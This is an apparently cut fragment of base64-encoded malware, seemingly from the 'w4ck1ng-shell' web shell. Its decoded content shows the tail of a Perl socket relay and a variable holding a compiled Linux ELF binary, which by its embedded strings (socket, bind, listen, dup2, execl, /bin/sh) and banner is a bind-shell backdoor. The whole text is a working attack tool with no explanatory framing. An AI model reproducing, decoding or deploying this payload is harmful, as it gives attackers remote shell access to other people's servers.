RHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kKREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNScwpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7CiRwb3J0X2JpbmRfYmRfY3M9ImYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBb0lVRUNEUUFBQUQ0RWdBQUFBQUFBRFFBSUFBSEFDZ0FJZ0FmQUFZQUFBQTBBQUFBTklBRUNEU0FCQWpnQUFBQTRBQUFBQVVBQUFBRUFBQUFBd0FBQUJRQkFBQVVnUVFJRklFRUNCTUFBQUFUQUFBQUJBQUFBQUVBQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJckFrQUFLd0pBQUFGQUFBQUFCQUFBQUVBQUFDc0NRQUFySmtFQ0t5WkJBZzBBUUFBT0FFQUFBWUFBQUFBRUFBQUFnQUFBTUFKQUFEQW1RUUl3SmtFQ01nQUFBRElBQUFBQmdBQUFBUUFBQUFFQUFBQUtBRUFBQ2lCQkFnb2dRUUlJQUFBQUNBQUFBQUVBQUFBQkFBQUFGSGxkR1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUVBQUFBTDJ4cFlpOXNaQzFzYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUFBQUFBQkVBQUFBVEFBQUFBQUFBQUFBQUFBQVFBQUFBRVFBQUFBQUFBQUFBQUFBQUNRQUFBQWdBQUFBRkFBQUFBd0FBQUEwQUFBQUFBQUFBQUFBQUFBOEFBQUFLQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQkFBQUFBQUFBQUFjQUFBQUxBQUFBQUFBQUFBUUFBQUFNQUFBQURnQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEFBQUFBQUFBQWRRRUFBQklBQUFDZ0FBQUFBQUFBQUhFQUFBQVNBQUFBTkFBQUFBQUFBQURNQUFBQUVnQUFBR29BQUFBQUFBQUFXZ0FBQUJJQUFBQk1BQUFBQUFBQUFIZ0FBQUFTQUFBQVl3QUFBQUFBQUFBNUFBQUFFZ0FBQUZnQUFBQUFBQUFBT1FBQUFCSUFBQUNPQUFBQUFBQUFBT1lBQUFBU0FBQUFPd0FBQUFBQUFBQTZBQUFBRWdBQUFGTUFBQUFBQUFBQU9RQUFBQklBQUFCMUFBQUFBQUFBQUxrQUFBQVNBQUFBZWdBQUFBQUFBQUFyQUFBQUVnQUFBRWNBQUFBQUFBQUFlQUFBQUJJQUFBQnZBQUFBQUFBQUFBNEFBQUFTQUFBQWZ3QUFBRWlKQkFnRUFBQUFFUUFPQUVBQUFBQUFBQUFBT1FBQUFCSUFBQUFCQUFBQUFBQUFBQUFBQUFBZ0FBQUFGUUFBQUFBQUFBQUFBQUFBSUFBQUFBQmZTblpmVW1WbmFYTjBaWEpEYkdGemMyVnpBRjlmWjIxdmJsOXpkR0Z5ZEY5ZkFHeHBZbU11YzI4dU5nQmxlR1ZqYkFCd1pYSnliM0lBWkhWd01nQnpiMk5yWlhRQWMyVnVaQUJoWTJObGNIUUFZbWx1WkFCelpYUnpiMk5yYjNCMEFHeHBjM1JsYmdCbWIzSnJBR2gwYjI1ekFHVjRhWFFBWVhSdmFRQmZTVTlmYzNSa2FXNWZkWE5sWkFCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmdCamJHOXpaUUJIVEVsQ1ExOHlMakFBQUFBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFRQUNBQUFBQUFBQUFBRUFBUUFrQUFBQUVBQUFBQUFBQUFBUWFXa05BQUFDQUtZQUFBQUFBQUFBaUpvRUNBWVNBQUNZbWdRSUJ3RUFBSnlhQkFnSEFnQUFvSm9FQ0FjREFBQ2ttZ1FJQndRQUFLaWFCQWdIQlFBQXJKb0VDQWNHQUFDd21nUUlCd2NBQUxTYUJBZ0hDQUFBdUpvRUNBY0pBQUM4bWdRSUJ3b0FBTUNhQkFnSEN3QUF4Sm9FQ0FjTUFBREltZ1FJQncwQUFNeWFCQWdIRGdBQTBKb0VDQWNRQUFCVmllV0Q3QWpvTVFFQUFPaURBUUFBNkZzRUFBREp3d0QvTlpDYUJBai9KWlNhQkFnQUFBQUEveVdZbWdRSWFBQUFBQURwNFAvLy8vOGxuSm9FQ0dnSUFBQUE2ZEQvLy8vL0phQ2FCQWhvRUFBQUFPbkEvLy8vL3lXa21nUUlhQmdBQUFEcHNQLy8vLzhscUpvRUNHZ2dBQUFBNmFELy8vLy9KYXlhQkFob0tBQUFBT21RLy8vLy95V3dtZ1FJYURBQUFBRHBnUC8vLy84bHRKb0VDR2c0QUFBQTZYRC8vLy8vSmJpYUJBaG9RQUFBQU9sZy8vLy8veVc4bWdRSWFFZ0FBQURwVVAvLy8vOGx3Sm9FQ0doUUFBQUE2VUQvLy8vL0pjU2FCQWhvV0FBQUFPa3cvLy8vL3lYSW1nUUlhR0FBQUFEcElQLy8vLzhsekpvRUNHaG9BQUFBNlJELy8vLy9KZENhQkFob2NBQUFBT2tBLy8vL01lMWVpZUdENVBCUVZGSm9yWWdFQ0doY2lBUUlVVlpvUUlZRUNPaGYvLy8vOUpDUVZZbmxVK2diQUFBQWdjTy9GQUFBZyt3RWk0UDgvLy8vaGNCMEF2L1FnOFFFVzEzRGl4d2t3MVdKNVlQc0NJQTk0Sm9FQ0FCMERPc2NnOEFFbzl5YUJBai8wcUhjbWdRSWl4Q0YwblhyeGdYZ21nUUlBY25EVllubGcrd0lvYnlaQkFpRndIUVN1QUFBQUFDRndIUUp4d1FrdkprRUNQL1F5Y09Ra0ZXSjVWZUQ3R1NENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRXgwWGtBUUFBQU1kRitFeUpCQWpIUkNRSUFBQUFBTWRFSkFRQkFBQUF4d1FrQWdBQUFPZ0ovLy8vaVVYd2czM3dBSGtZeHdRa2pJa0VDT2cwL3YvL3h3UWtBUUFBQU9pby92Ly9ac2RGMUFJQXgwWFlBQUFBQUl0RkRJUEFCSXNBaVFRazZKdisvLzhQdDhDSkJDVG9zUDcvLzJhSlJkYkhSQ1FRQkFBQUFJMUY1SWxFSkF6SFJDUUlBZ0FBQU1kRUpBUUJBQUFBaTBYd2lRUWs2QkwrLy8rTlJkVEhSQ1FJRUFBQUFJbEVKQVNMUmZDSkJDVG9LUDcvLzRYQWVSakhCQ1NUaVFRSTZLajkvLy9IQkNRQkFBQUE2QnorLy8vSFJDUUVDQUFBQUl0RjhJa0VKT2k1L2YvL2hjQjVHTWNFSkppSkJBam9lZjMvLzhjRUpBRUFBQURvN2YzLy84ZEY2QkFBQUFDTlJlaU5WY1NKUkNRSWlWUWtCSXRGOElrRUpPaHQvZi8vaVVYMGczMzBBSGtNeHdRa2pJa0VDT2c0L2YvLzZFUDkvLytGd0ErRXB3QUFBSXRGK0xuLy8vLy9pVVc0dUFBQUFBRDhpMzI0OHE2SnlQZlFnK2dCeDBRa0RBQUFBQUNKUkNRSWkwWDRpVVFrQkl0RjlJa0VKT2lRL2YvL3gwUWtCQUFBQUFDTFJmU0pCQ1RvUGYzLy84ZEVKQVFCQUFBQWkwWDBpUVFrNkNyOS8vL0hSQ1FFQWdBQUFJdEY5SWtFSk9nWC9mLy94MFFrQ0FBQUFBREhSQ1FFbjRrRUNNY0VKSitKQkFqb2Uvei8vNHRGOElrRUpPaUEvUC8veHdRa0FBQUFBT2dFL2YvL2kwWDBpUVFrNkduOC8vL3BEdi8vLzFXSjVWZFdNZlpUNkgvOS8vK0J3eU1TQUFDRDdBem9FZnovLzQyRElQLy8vNDJUSVAvLy80bEY4Q25Rd2ZnQ09jWnpGb25YL3hTeWkwWHdnOFlCS2ZpSitzSDRBam5HY3V5RHhBeGJYbDlkdzFXSjVZUHNHSWxkOU9ndC9mLy9nY1BSRVFBQWlYWDRpWDM4amJNZy8vLy9qYnNnLy8vL0tmN0IvZ0xyQS84VXQ0UHVBWVArLzNYMTZEb0FBQUNMWGZTTGRmaUxmZnlKN0YzRGtGV0o1Vk9EN0FTaHJKa0VDSVA0LzNRU3U2eVpCQWovMEl0RC9JUHJCSVA0LzNYemc4UUVXMTNEa0pDUVZZbmxVK2k3L1AvL2djTmZFUUFBZyt3RTZMSDgvLytEeEFSYlhjTUFBQUFEQUFBQUFRQUNBRG82SUhjMFkyc3hibWN0YzJobGJHd2dLRkJ5YVhaaGRHVWdRblZwYkdRZ2RqQXVNeWtnWW1sdVpDQnphR1ZzYkNCaVlXTnJaRzl2Y2lBNk9pQUtDZ0J6YjJOclpYUUFZbWx1WkFCc2FYTjBaVzRBTDJKcGJpOXphQUFBQUFBQUFQLy8vLzhBQUFBQS8vLy8vd0FBQUFBQUFBQUFBUUFBQUNRQUFBQU1BQUFBaUlRRUNBMEFBQUFraVFRSUJBQUFBRWlCQkFnRkFBQUFFSU1FQ0FZQUFBRGdnUVFJQ2dBQUFMQUFBQUFMQUFBQUVBQUFBQlVBQUFBQUFBQUFBd0FBQUl5YUJBZ0NBQUFBZUFBQUFCUUFBQUFSQUFBQUZ3QUFBQkNFQkFnUkFBQUFDSVFFQ0JJQUFBQUlBQUFBRXdBQUFBZ0FBQUQrLy85djZJTUVDUC8vLzI4QkFBQUE4UC8vYjhDREJBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXdKa0VDQUFBQUFBQUFBQUF0b1FFQ01hRUJBaldoQVFJNW9RRUNQYUVCQWdHaFFRSUZvVUVDQ2FGQkFnMmhRUUlSb1VFQ0ZhRkJBaG1oUVFJZG9VRUNJYUZCQWlXaFFRSUFBQUFBQUFBQUFDNG1RUUlBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFBQWNBQUFBQWdBQUFBQUFCQUFBQUFBQW9JVUVDQ0lBQUFBQUFBQUFBQUFBQURRQUFBQUNBQXNCQUFBRUFBQUFBQURvaFFRSUJBQUFBQ1NKQkFnU0FBQUFpSVFFQ0FzQUFBREVoUVFJSkFBQUFBQUFBQUFBQUFBQUxBQUFBQUlBbXdFQUFBUUFBQUFBQU9pRkJBZ0VBQUFBTzRrRUNBWUFBQUNkaEFRSUFnQUFBQUFBQUFBQUFBQUFJUUFBQUFJQWVnQUFBSkVBQUFCNUFBQUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFBQUFBSFlBQUFBQ0FBQUFBQUFFQVFBQUFBQ2doUVFJd29VRUNDNHVMM041YzJSbGNITXZhVE00Tmk5bGJHWXZjM1JoY25RdVV3QXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZaMnhwWW1NdE1pNHpMall2WTNOMUFFZE9WU0JCVXlBeUxqRTJMamt4QUFHQWpRQUFBQUlBRkFBQUFBUUJXd0FBQU1TRkJBakVoUVFJWWdBQUFBRUFBQUFBRVFBQUFBS1FBQUFBQkFjQ1ZBQUFBQUVJQXAwQUFBQUNCd0tMQUFBQUJBY0NWZ0FBQUFFR0FnY0FBQUFDQlFOcGJuUUFCQVVDUmdBQUFBZ0ZBb1lBQUFBSUJ3SkxBQUFBQkFVQ2tBQUFBQVFIQWwwQUFBQUJCZ1N3QUFBQUFSbUxBQUFBQVFVRFNJa0VDQVZQQUFBQUFJd0FBQUFDQUZZQUFBQUVBWUlBQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25ScExsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdJd0FBQUFDQUdZQUFBQUVBUzhCQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25SdUxsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdBRVJBQkFHRVFFU0FRTUlHd2dsQ0JNRkFBQUFBUkVCRUFZU0FSRUJKUTRUQ3dNT0d3NEFBQUlrQUFNT0N3cytDd0FBQXlRQUF3Z0xDejRMQUFBRU5BQUREam9MT3d0SkV6OE1BZ29BQUFVbUFFa1RBQUFBQVJFQUVBWURDQnNJSlFnVEJRQUFBQUVSQUJBR0F3Z2JDQ1VJRXdVQUFBQlhBQUFBQWdBeUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1BQUJ6ZEdGeWRDNVRBQUVBQUFBQUJRS2doUVFJQThBQUFUTWhORDBsSWdNWUlGbGFJU0pjV3dJQkFBRUJJd0FBQUFJQUhRQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJBR2x1YVhRdVl3QUFBQUFBcVFBQUFBSUFVQUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVUFBR055ZEdrdVV3QUJBQUFBQUFVQzZJVUVDQVBBQUFFOUFnRUFBUUVBQlFJa2lRUUlBeTRCSVM4aFdXY0NBd0FCQVFBRkFvaUVCQWdESHdFaEx6MENCUUFCQVFBRkFzU0ZCQWdEQ2dFaEx5RlpaejFuTHk4d1BTRWhBZ0VBQVFHSUFBQUFBZ0JRQUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUUFBWTNKMGJpNVRBQUVBQUFBQUJRTG9oUVFJQXlFQlBRSUJBQUVCQUFVQ080a0VDQU1TQVQwaElRSUJBQUVCQUFVQ25ZUUVDQU1KQVNFQ0FRQUJBV2x1YVhRdVl3QnphRzl5ZENCcGJuUUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQnNiMjVuSUd4dmJtY2dhVzUwQUhWdWMybG5ibVZrSUdOb1lYSUFSMDVWSUVNZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FiRzl1WnlCc2IyNW5JSFZ1YzJsbmJtVmtJR2x1ZEFCemFHOXlkQ0IxYm5OcFoyNWxaQ0JwYm5RQVgwbFBYM04wWkdsdVgzVnpaV1FBQUM1emVXMTBZV0lBTG5OMGNuUmhZZ0F1YzJoemRISjBZV0lBTG1sdWRHVnljQUF1Ym05MFpTNUJRa2t0ZEdGbkFDNW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhKemFXOXVYM0lBTG5KbGJDNWtlVzRBTG5KbGJDNXdiSFFBTG1sdWFYUUFMblJsZUhRQUxtWnBibWtBTG5KdlpHRjBZUUF1WldoZlpuSmhiV1VBTG1OMGIzSnpBQzVrZEc5eWN3QXVhbU55QUM1a2VXNWhiV2xqQUM1bmIzUUFMbWR2ZEM1d2JIUUFMbVJoZEdFQUxtSnpjd0F1WTI5dGJXVnVkQUF1WkdWaWRXZGZZWEpoYm1kbGN3QXVaR1ZpZFdkZmNIVmlibUZ0WlhNQUxtUmxZblZuWDJsdVptOEFMbVJsWW5WblgyRmlZbkpsZGdBdVpHVmlkV2RmYkdsdVpRQXVaR1ZpZFdkZmMzUnlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUVBQUFBQ0FBQUFGSUVFQ0JRQkFBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ01BQUFBSEFBQUFBZ0FBQUNpQkJBZ29BUUFBSUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFKZ0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQUFBQUNBQUFBNElFRUNPQUJBQUF3QVFBQUJRQUFBQUVBQUFBRUFBQUFFQUFBQUQ4QUFBQURBQUFBQWdBQUFCQ0RCQWdRQXdBQXNBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQkhBQUFBLy8vL2J3SUFBQURBZ3dRSXdBTUFBQ1lBQUFBRUFBQUFBQUFBQUFJQUFBQUNBQUFBVkFBQUFQNy8vMjhDQUFBQTZJTUVDT2dEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBQWlFQkFnSUJBQUFDQUFBQUFRQUFBQUFBQUFBQkFBQUFBZ0FBQUJzQUFBQUNRQUFBQUlBQUFBUWhBUUlFQVFBQUhnQUFBQUVBQUFBQ3dBQUFBUUFBQUFJQUFBQWRRQUFBQUVBQUFBR0FBQUFpSVFFQ0lnRUFBQVhBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSEFBQUFBQkFBQUFCZ0FBQUtDRUJBaWdCQUFBQUFFQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQ2doUVFJb0FVQUFJUURBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFnUUFBQUFFQUFBQUdBQUFBSklrRUNDUUpBQUFkQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUljQUFBQUJBQUFBQWdBQUFFU0pCQWhFQ1FBQVl3QUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ1BBQUFBQVFBQUFBSUFBQUNvaVFRSXFBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbVFBQUFBRUFBQUFEQUFBQXJKa0VDS3dKQUFBSUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFLQUFBQUFCQUFBQUF3QUFBTFNaQkFpMENRQUFDQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNuQUFBQUFRQUFBQU1BQUFDOG1RUUl2QWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQXJBQUFBQVlBQUFBREFBQUF3SmtFQ01BSkFBRElBQUFBQlFBQUFBQUFBQUFFQUFBQUNBQUFBTFVBQUFBQkFBQUFBd0FBQUlpYUJBaUlDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFDNkFBQUFBUUFBQUFNQUFBQ01tZ1FJakFvQUFFZ0FBQUFBQUFBQUFBQUFBQVFBQUFBRUFBQUF3d0FBQUFFQUFBQURBQUFBMUpvRUNOUUtBQUFNQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQU1rQUFBQUlBQUFBQXdBQUFPQ2FCQWpnQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBRE9BQUFBQVFBQUFBQUFBQUFBQUFBQTRBb0FBQ1lCQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBMXdBQUFBRUFBQUFBQUFBQUFBQUFBQWdNQUFDSUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFPWUFBQUFCQUFBQUFBQUFBQUFBQUFDUURBQUFKUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUQyQUFBQUFRQUFBQUFBQUFBQUFBQUF0UXdBQUNzQ0FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFnRUFBQUVBQUFBQUFBQUFBQUFBQU9BT0FBQjJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQkFCQUFBQkFBQUFBQUFBQUFBQUFBQldEd0FBdXdFQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBY0FRQUFBUUFBQURBQUFBQUFBQUFBRVJFQUFMOEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFOQVJBQUFuQVFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBQUFBQUFBQUFBQUJJR0FBQThBVUFBQ0VBQUFBL0FBQUFCQUFBQUJBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQU9CNEFBTElEQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVWdRUUlBQUFBQUFNQUFRQUFBQUFBS0lFRUNBQUFBQUFEQUFJQUFBQUFBRWlCQkFnQUFBQUFBd0FEQUFBQUFBRGdnUVFJQUFBQUFBTUFCQUFBQUFBQUVJTUVDQUFBQUFBREFBVUFBQUFBQU1DREJBZ0FBQUFBQXdBR0FBQUFBQURvZ3dRSUFBQUFBQU1BQndBQUFBQUFDSVFFQ0FBQUFBQURBQWdBQUFBQUFCQ0VCQWdBQUFBQUF3QUpBQUFBQUFDSWhBUUlBQUFBQUFNQUNnQUFBQUFBb0lRRUNBQUFBQUFEQUFzQUFBQUFBS0NGQkFnQUFBQUFBd0FNQUFBQUFBQWtpUVFJQUFBQUFBTUFEUUFBQUFBQVJJa0VDQUFBQUFBREFBNEFBQUFBQUtpSkJBZ0FBQUFBQXdBUEFBQUFBQUNzbVFRSUFBQUFBQU1BRUFBQUFBQUF0SmtFQ0FBQUFBQURBQkVBQUFBQUFMeVpCQWdBQUFBQUF3QVNBQUFBQUFEQW1RUUlBQUFBQUFNQUV3QUFBQUFBaUpvRUNBQUFBQUFEQUJRQUFBQUFBSXlhQkFnQUFBQUFBd0FWQUFBQUFBRFVtZ1FJQUFBQUFBTUFGZ0FBQUFBQTRKb0VDQUFBQUFBREFCY0FBQUFBQUFBQUFBQUFBQUFBQXdBWUFBQUFBQUFBQUFBQUFBQUFBQU1BR1FBQUFBQUFBQUFBQUFBQUFBQURBQm9BQUFBQUFBQUFBQUFBQUFBQUF3QWJBQUFBQUFBQUFBQUFBQUFBQUFNQUhBQUFBQUFBQUFBQUFBQUFBQUFEQUIwQUFBQUFBQUFBQUFBQUFBQUFBd0FlQUFBQUFBQUFBQUFBQUFBQUFBTUFId0FBQUFBQUFBQUFBQUFBQUFBREFDQUFBQUFBQUFBQUFBQUFBQUFBQXdBaEFBRUFBQUFBQUFBQUFBQUFBQVFBOGY4TUFBQUFBQUFBQUFBQUFBQUVBUEgvS0FBQUFBQUFBQUFBQUFBQUJBRHgveThBQUFBQUFBQUFBQUFBQUFRQThmODZBQUFBQUFBQUFBQUFBQUFFQVBIL2RBQUFBTVNGQkFnQUFBQUFBZ0FNQUlRQUFBQUFBQUFBQUFBQUFBUUE4ZitQQUFBQXJKa0VDQUFBQUFBQkFCQUFuUUFBQUxTWkJBZ0FBQUFBQVFBUkFLc0FBQUM4bVFRSUFBQUFBQUVBRWdDNEFBQUE0Sm9FQ0FFQUFBQUJBQmNBeHdBQUFOeWFCQWdBQUFBQUFRQVdBTTRBQUFEc2hRUUlBQUFBQUFJQURBRGtBQUFBRzRZRUNBQUFBQUFDQUF3QWhBQUFBQUFBQUFBQUFBQUFCQUR4Ly9BQUFBQ3dtUVFJQUFBQUFBRUFFQUQ5QUFBQXVKa0VDQUFBQUFBQkFCRUFDZ0VBQUtpSkJBZ0FBQUFBQVFBUEFCZ0JBQUM4bVFRSUFBQUFBQUVBRWdBa0FRQUErSWdFQ0FBQUFBQUNBQXdBTHdBQUFBQUFBQUFBQUFBQUJBRHgvem9CQUFBQUFBQUFBQUFBQUFRQThmOTBBUUFBQUFBQUFBQUFBQUFFQVBIL2VBRUFBTUNaQkFnQUFBQUFBUUlUQUlFQkFBQ3NtUVFJQUFBQUFBQUM4ZitTQVFBQXJKa0VDQUFBQUFBQUF2SC9wUUVBQUt5WkJBZ0FBQUFBQUFMeC83WUJBQUNNbWdRSUFBQUFBQUVDRlFETUFRQUFySmtFQ0FBQUFBQUFBdkgvM3dFQUFBQUFBQUIxQVFBQUVnQUFBUEFCQUFBQUFBQUFjUUFBQUJJQUFBQUJBZ0FBUklrRUNBUUFBQUFSQUE0QUNBSUFBQUFBQUFETUFBQUFFZ0FBQUJvQ0FBQUFBQUFBV2dBQUFCSUFBQUFxQWdBQTJKb0VDQUFBQUFBUkFoWUFOd0lBQUsySUJBaEtBQUFBRWdBTUFFY0NBQUFBQUFBQWVBQUFBQklBQUFCWkFnQUFpSVFFQ0FBQUFBQVNBQW9BWHdJQUFBQUFBQUE1QUFBQUVnQUFBSEVDQUFBQUFBQUFPUUFBQUJJQUFBQ0hBZ0FBb0lVRUNBQUFBQUFTQUF3QWpnSUFBRnlJQkFoUkFBQUFFZ0FNQUo0Q0FBRGdtZ1FJQUFBQUFCQUE4ZitxQWdBQVFJWUVDQndDQUFBU0FBd0Fyd0lBQUFBQUFBRG1BQUFBRWdBQUFNd0NBQUFBQUFBQU9nQUFBQklBQUFEY0FnQUExSm9FQ0FBQUFBQWdBQllBNXdJQUFBQUFBQUE1QUFBQUVnQUFBUGNDQUFBa2lRUUlBQUFBQUJJQURRRDlBZ0FBQUFBQUFMa0FBQUFTQUFBQURRTUFBQUFBQUFBckFBQUFFZ0FBQUIwREFBRGdtZ1FJQUFBQUFCQUE4ZjhrQXdBQTZJVUVDQUFBQUFBU0Fnd0FPd01BQU9TYUJBZ0FBQUFBRUFEeC8wQURBQUFBQUFBQWVBQUFBQklBQUFCUUF3QUFBQUFBQUE0QUFBQVNBQUFBWVFNQUFFaUpCQWdFQUFBQUVRQU9BSEFEQUFEVW1nUUlBQUFBQUJBQUZnQjlBd0FBQUFBQUFEa0FBQUFTQUFBQWp3TUFBQUFBQUFBQUFBQUFJQUFBQUtNREFBQUFBQUFBQUFBQUFDQUFBQUFBWVdKcExXNXZkR1V1VXdBdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUwzTjBZWEowTGxNQWFXNXBkQzVqQUdsdWFYUm1hVzVwTG1NQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1V2WTNKMGFTNVRBR05oYkd4ZloyMXZibDl6ZEdGeWRBQmpjblJ6ZEhWbVppNWpBRjlmUTFSUFVsOU1TVk5VWDE4QVgxOUVWRTlTWDB4SlUxUmZYd0JmWDBwRFVsOU1TVk5VWDE4QVkyOXRjR3hsZEdWa0xqUTBOak1BY0M0ME5EWXlBRjlmWkc5ZloyeHZZbUZzWDJSMGIzSnpYMkYxZUFCbWNtRnRaVjlrZFcxdGVRQmZYME5VVDFKZlJVNUVYMThBWDE5RVZFOVNYMFZPUkY5ZkFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtiMTluYkc5aVlXeGZZM1J2Y25OZllYVjRBQzlpZFdsc1pDOWlkV2xzWkdRdloyeHBZbU10TWk0ekxqWXZZblZwYkdRdGRISmxaUzlwTXpnMkxXeHBZbU12WTNOMUwyTnlkRzR1VXdBeExtTUFYMFJaVGtGTlNVTUFYMTltYVc1cFgyRnljbUY1WDJWdVpBQmZYMlpwYm1sZllYSnlZWGxmYzNSaGNuUUFYMTlwYm1sMFgyRnljbUY1WDJWdVpBQmZSMHhQUWtGTVgwOUdSbE5GVkY5VVFVSk1SVjhBWDE5cGJtbDB